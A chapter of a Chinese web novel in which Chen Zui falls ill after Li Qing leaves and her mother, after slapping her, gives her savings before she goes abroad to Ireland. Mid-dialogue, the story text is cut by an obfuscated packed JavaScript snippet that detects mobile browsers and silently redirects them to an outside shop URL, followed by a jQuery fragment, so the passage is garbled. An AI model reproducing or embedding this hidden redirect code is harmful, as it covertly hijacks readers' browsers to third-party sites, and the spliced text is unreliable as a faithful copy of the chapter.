默认冷灰
24号文字
方正启体

53. 妈妈

作者:淮砡本书字数:K更新时间:
    黎青走了。


    当黎母把消息带给陈最时,他整个人如遭雷轰,呆愣在原地。


    他不可置信地想问走了是什么意思,却眼前一阵发黑。


    明明前一天,他们还在一起做了蛋糕……


    刺眼的白光慢慢缓和,变成和煦的阳光。


    陈最坐在地板上翻看解刨学的书籍,窗帘拉开,黎青躺在延伸出的窗台上,发丝悬空垂着,风吹过带起轻微的晃动。


    “哥,你有什么愿望吗?”


    陈最翻书的手顿住:“没有。”


    “哎呀你好好想想呀,说一个嘛。”


    黎青坐起来,下巴搁在膝盖上,歪头看他:“说一个吧。”


    陈最合上书,仔细想了想。


    “……就今天这样吧。”


    “今天怎样?”


    “不用做什么,你在旁边。”


    黎青眨眨眼,不满道:“这算什么愿望?”


    “我的愿望就是这个。”


    陈最嘴角微微上扬,从前刻薄的眉眼完全柔和下来,看着黎青,和她背后湛蓝的天空,几片悠悠的薄云。


    “那不算啦,再想一个。”


    陈最摇摇头:“你还没告诉我,你想要什么愿望?过了一本线,你很努力啊。”


    “不要问我啦,你自己想一个,我现在最大的愿望就是你许个愿望。”黎青急得差点整个人从窗台上滚下来,被陈最眼疾手快地捞到自己身边。


    熟练地给人安顿好,陈最架不住黎青软磨硬泡,苦思冥想,真让他想出了一个愿望。


    “做蛋糕。”


    黎青疑惑:“什么?”


    “做个蛋糕,兔子蛋糕,草莓味的。”


    黎青更困惑了:“你不是很讨厌甜的吗?”


    还是草莓味……陈最不会被夺舍了吧?


    陈最应了一声,转过头看她:“你陪我做,行吗?”


    黎青哪受得了陈最这样恳求的表情,不管那些疑惑,当即一拍大腿站起来约烘培坊,下午就拽着人去做蛋糕。


    “兔子的话有点难哦,因为有兔子,新手建议选这个小熊的。”烘焙坊的老板提醒道。


    然而陈最无比坚持:“就要这个。”


    这种需要动手能力的活黎青一向很擅长,她做得又快又好,和老板交流时,不忘试试自己的结巴程度有没有缓解。


    陈最做得很认真,他已经上过解剖实验手术,步骤同样很稳,称重、搅拌、调色,把活快全包揽了。


    黎青聊完天一回头,望着做完一半的蛋糕目瞪口呆:“哥,你有加速器?”


    “我是你哥。”


    说这话时,陈最的表情突然飞扬起来,眉梢上挑,嘴角舒展开,他第一次露出这样的表情。


    有点,得意?


    不管怎么说,陈最开心,黎青忍不住也开心地笑起来,在微微低头的陈最耳边发出一串清脆的笑声。


    咔嚓。


    店员为客人拍下了此刻的拍立得。


    蛋糕胚抹上粉色的草莓奶油,两只兔子耳朵大小一致,黎青要求自己来插那个兔子摆件。


    陈最自然没有异议。


    黎青弯腰,仔细地将那个兔子放在蛋糕上,陈最扶着她的手臂,以防蹭到奶油。


    她放得过于虔诚,没有看见陈最落在她身上的目光。


    在很久之前,他过了人生中第一个生日。


    那年是黎青刚来陈家。


    黎母买了个小熊蛋糕回来,黎青盯着看了很久,陈最像现在这样,在旁边也看了她很久。


    陈最第一次吃蛋糕,切得方方正正,第一块给了黎青。


    黎青告诉他,切蛋糕呀,大家都切三角形。


    是吗?他不懂,那块蛋糕甜得糊嗓子。


    他不会忘记黎青的表情。转瞬即逝的失落,和水面上漾开的涟漪似的,很快就平复了。


    当黎青问他有什么愿望时,他想起久远的这件事。


    他想看黎青吃这块蛋糕,想看她吃到那块曾经心心念念的兔子蛋糕时,会不会开心一点。


    失去意识前,他记起冰箱里的蛋糕,黎青还没吃呢。


    “小最啊,青青寒暑假会回来的。”黎母的话在耳畔回荡。


    不会的,她不会回来的。


    冰箱里那个兔子蛋糕,还好好放着。


    黎青盯着小熊蛋糕时的侧脸,那么忧伤。


    他看见昨日的阳光,黎青仰头问他:“哥,你有什么愿望吗?”


    她以为那是他的愿望。


    她不知道那是他为她准备的。


    意识沉入黑暗前,陈最最后一个念头是,她连尝都没尝一口。


    你不是说,希望哥哥幸福吗?


    如果有天与你分离,那我不会幸福。


    *


    陈最病倒了。


    高烧不退,几乎没有清醒的时候,醒来又哭又吐,在极致的难受中再次昏睡。


    黎母难得,请了假回来照顾他。


    其实,自从知道陈父对这个儿子是发自内心的厌恶后,黎母也不怎么回家来了,二人在外面有其他房子住,离上班的医院更近。


    黎母完全静不下心来工作,索性借着由头去照顾住院的陈最。


    陈最昏睡不醒,黎母一时无事可做,坐到窗边,思绪飞到外头高大的梧桐树上,不知看哪里。


    这里,能看到爱尔兰吗?


    她在说什么……


    黎青走之前,来找了黎母。


    厨房里安静下来,只剩油烟机的声音。


    黎母看着她,眼神从茫然到惊讶,再到一种压抑,锅铲哐当一声掉进水池里。


    “你说什么?”她的声音有点抖。


    “我要出国念书。”


    黎青重复了一遍,每个字都咬得很清楚,仿佛排练无数遍:“去爱尔兰,已经申请了。”


    好啊,居然敢先斩后奏。


    黎母气得发抖:“你疯了是不是?家里什么条件你不知道?你一个女孩子跑那么远,出事怎么办?谁管你?”


    “林岚是谁!你就知道那个外人!她给你灌了什么迷魂汤?”


    “我辛辛苦苦把你养大,你就这么报答我?翅膀硬了就想飞?”


    黎青安静地听着,没反驳。


    意识到女儿不回答,她怒极上手,啪的一声,把黎青的脸打偏过去。


    “你死外边怎么办!我可不会去爱尔兰给你收尸!”


    等她喘着气停下来,黎青才开口,嗓子哽咽:“妈,我去定了。”


    这句话是被压倒的最后一根稻草。


    黎母瞪着她,眼眶红了,但没哭出来。


    “好好好……你长大了,我管不了你了,不是你要死,等着我钱给你做手术的时候了?”


    黎青呼吸一滞,这是她最无法反驳的事实。


    “你啊你啊,从小到大,一直在给我添麻烦,到现在,你成年了,还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133185|190114||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要给我添麻烦!”


    黎青低着头,瞪大眼睛,泪水一滴一滴砸在地板上,无声的呜咽。


    声音忽然消失了。


    黎母张大嘴巴,话卡在喉咙里。


    回溯到那个古老的深秋,黎青出现在她生命里。


    和现在没什么区别,哭都没声音。


    孩子是早产,刚出来时小猫似的,哭不出来。


    送进重症监护没多久,噩耗传来,孩子的心脏有问题。


    她知道这一切和老公脱不开关系,却无能为力,她不想离婚,离婚了她会更累的。


    男人满不在乎地去打牌了,留下一句:“起啥名啊,脸憋得青紫的。”


    然后名字就这么定了,青。


    有时深夜睡不着,她会后悔,想着,要是再努力一点就好了。


    多怀黎青哪怕一分钟,生辰八字会改变吧,命运也会改变吧。


    事实上,更多时候,她不想看见黎青,她不想承认现实,只要看到黎青,甚至只要听到这个寓意不好的名字,就会想起付不完的医药账单。


    黎青那么听话那么懂事,可她真的一点都不想看见黎青。她好恨,好恨自己的人生怎么变成这样,恨黎青拖累了自己。


    她也曾为了心脏手术费焦头烂额,也曾彻夜守在病床边,这些难道又是假的吗?


    不是的啊,孩子无辜啊。


    多说无益。


    她转身上楼,从柜子最深处拿出一个布包,层层打开,里面是一张存折。


    下楼的脚步声沉重急促,黎青还站在原地,她看也没看,直接塞到黎青手里。


    “拿着,就这么多。”她的声音已经哑了。


    眼泪挂在睫毛上,黎青懵懵地握着,没有立刻打开,似乎反应不过来。


    “七万,多的没了。”


    黎母眉心有深深的沟壑:“人各有命,你既然自己选了,以后是好是歹,都是你自己的事。”


    她停顿了很久,久到黎青以为她不会再说话了。


    然后,妈妈很轻很轻地加了一句,像自言自语:“你身体不好,国外医疗那么贵,要是真出什么事……”


    她做好了迎接女儿死讯的准备。


    “妈妈……”黎青喉咙发紧。


    “走吧。”


    妈妈挥挥手,不再看她:“什么时候走,不用告诉我,知道了心烦。”


    黎青捏着那张存折,指节发白。


    她看着妈妈重新打开水龙头洗锅,多年前妈妈也是这样为另一个男人做饭,背对着她,肩膀微微佝偻着。


    过了很久,黎青低声说:“妈妈,我走了。”


    妈妈没应声,洗锅的动作停了一瞬。


    黎青走到门口,手握上门把时,听见身后传来妈妈声音:“你刚生下来的时候……才这么大一点。”


    妈妈用手比划了一下,很小很小的一个长度。


    时隔多年,她清晰记得孩子出生时的模样。


    黎青站在门口,背对着她,眼泪毫无预兆地涌上来,死死咬住嘴唇,没发出任何声音。


    妈妈释然地吐出口气:“走吧走吧。”


    她终于听见了心底的喟叹。


    亲爱的孩子,请你务必不要止步于此啊。


    黎青拉开门,天光大亮。


    门在身后轻轻合上,隔绝了想逃离的家,和一生如此的妈妈。


    黎母有预感。


    这将是她和女儿的最后一面。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)